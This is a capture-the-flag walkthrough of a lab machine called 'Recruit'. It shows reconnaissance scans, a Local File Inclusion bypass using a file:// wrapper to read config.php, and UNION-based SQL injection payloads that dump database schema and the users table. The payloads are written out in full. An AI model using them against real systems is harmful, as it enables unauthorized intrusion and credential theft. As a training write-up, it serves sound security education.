Recruit

May 31, 2026

|

5 min read

| Room ↗

Recon

Starting with a quick service scan to see what’s exposed.

nmap: service & version scan
nmap -sV -sC <target-ip>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Recruit
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Three ports are open. SSH (22) needs credentials we don’t have yet, and DNS (53) isn’t obviously useful here, so the web server on port 80 is our way in.

Recruit login panel
The Recruit login portal

We get a login panel and a link to /api.php.

API documentation page
API docs exposing the /file.php endpoint

The API docs expose an interesting endpoint: /file.php?cv=<URL>.

Fetching a CV through file.php
file.php rejecting a remote URL

Trying to fetch a remote CV fails, but a parameter that loads files is exactly the kind of thing worth coming back to. Let’s keep enumerating.

Enumeration

Time to dig into what else is served.

gobuster: content discovery
gobuster dir -u http://<target-ip> \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,bak

TIP

-x php,bak tells gobuster to also try those extensions on every word. We add php because it’s an Apache server running PHP, and bak because backup files (config.php.bak, etc.) are a classic source of leaked secrets.

gobuster results (trimmed)
assets (Status: 301)
index.php (Status: 200)
javascript (Status: 301)
mail (Status: 301)
phpmyadmin (Status: 301)
sitemap.xml (Status: 200)

A few hits, some more interesting than others:

PathVerdict
assets, javascriptNothing useful inside.
sitemap.xmlLists known endpoints; the only new one is dashboard.php, which requires authentication.
phpmyadminA database front-end: worth remembering once we have creds.
mailThe good stuff (see below).

The mail directory

/mail: deployment confirmation
From: HR Team <hr@recruit.thm>
To: IT Support <it-support@recruit.thm>
Subject: Recruitment Portal Deployment Confirmation
As discussed during deployment:
- HR login credentials (username: ████████) are currently stored in the
application configuration file (config.php) for ease of access during the
initial rollout phase.
- Administrator credentials are NOT stored in the application files and are
securely maintained within the backend database.

This is a roadmap of the whole box:

  • The HR username is in the email, and its password lives in config.php.
  • The admin credentials are in the database, note that for later.

Exploitation

Step 1: Leak the HR password via LFI

NOTE

LFI = Local File Inclusion, a flaw where an app can be tricked into reading (or executing) a file from the server’s own disk that it was never meant to expose, like /etc/passwd or, here, the app’s own config.php.

Browsing to /config.php directly returns a blank page with 200 OK, the PHP executes server-side, so we never see the source. We need to read the file, not run it.

Back to that file.php?cv= endpoint. The naive attempt still fails:

Terminal window
# /file.php?cv=config.php -> "Only local files are allowed"

After a bit of research:

  • Apache serves files from /var/www/html by default.
  • The file:// wrapper lets us request a local path explicitly, which satisfies the “local files only” check.
LFI payload
/file.php?cv=file:///var/www/html/config.php
leaked config.php
/*
| HR Credentials (Temporary – Initial Rollout Phase)
| These credentials are stored here temporarily and will be
| moved to the database in a future release.
*/
$HR_PASSWORD = "████████";

Logging in with the HR username from the email and this password lands us on the dashboard.

HR dashboard after login
Authenticated HR dashboard, first flag

First flag captured. 🚩

Step 2: SQL injection for the admin flag

The dashboard has a candidate-search field. The email told us the admin creds live in the database, so this is the obvious place to test for SQL injection.

Candidate search box
The candidate search feature

A single quote breaks the query, it’s injectable. Now to build a working UNION SELECT.

SQL error from a broken payload
Error while fuzzing the column count

I fuzzed the column count; four columns made the most sense for this table. The -- comment terminator kept erroring, so I switched to #, which behaved better:

WARNING

I learned later that MySQL requires a space (or newline) after -- for it to be treated as a comment. My early payloads failed for exactly this reason. The correct form is:

' UNION SELECT 1,version(),database(),4 -- -

(note the trailing space after --, which we can see thanks to the third dash). Using # sidesteps the issue entirely.

Working UNION SELECT
Confirmed 4 columns with version()/database()

From there it’s just iterating: enumerate the schema through information_schema, then drop the admin row into the columns that get reflected back on the page.

SQLi: full progression (typed into the search box)
-- Confirm it's injectable
'
-- See which columns are reflected, and grab DB version/name
' UNION SELECT 1,version(),database(),4 -- -
-- List tables in the current DB, then the columns of the interesting one
' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database() -- -
' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users' -- -
-- Dump the admin credentials
' UNION SELECT 1,username,password,4 FROM users -- -
Final payload dumping admin creds
Extracting the admin row

Logging in with the recovered admin credentials:

Admin access, second flag
Admin dashboard, second flag

Second and final flag captured. 🚩

Takeaways

  • Clean your emails. The mail directory handed us the entire attack path, username location, password location, and a hint that the admin creds were in the DB.
  • 200 OK ≠ useful output. A blank config.php still executes server-side; an LFI lets you read the source instead of running it.
  • Wrappers bypass weak filters. A “local files only” check is satisfied by file://, which is exactly what unlocked the config read.
  • Know your comment syntax. -- needs a trailing space in MySQL; # is the safer choice.

Kill Chain

Reconnaissance T1595.003
nmap: ssh, dns, web on 80
gobuster content discovery
/mail leaks the creds map
Initial Access T1190
file.php?cv= file endpoint
file:// wrapper bypasses the filter
Credential Access T1552.001
config.php leaks HR password
UNION SQLi dumps users table
admin credentials recovered
Collection T1005
LFI reads config.php off disk
SQLi reads rows via information_schema
Lateral Movement T1078
HR login → dashboard, first flag
admin login → dashboard, second flag
web lfi sqli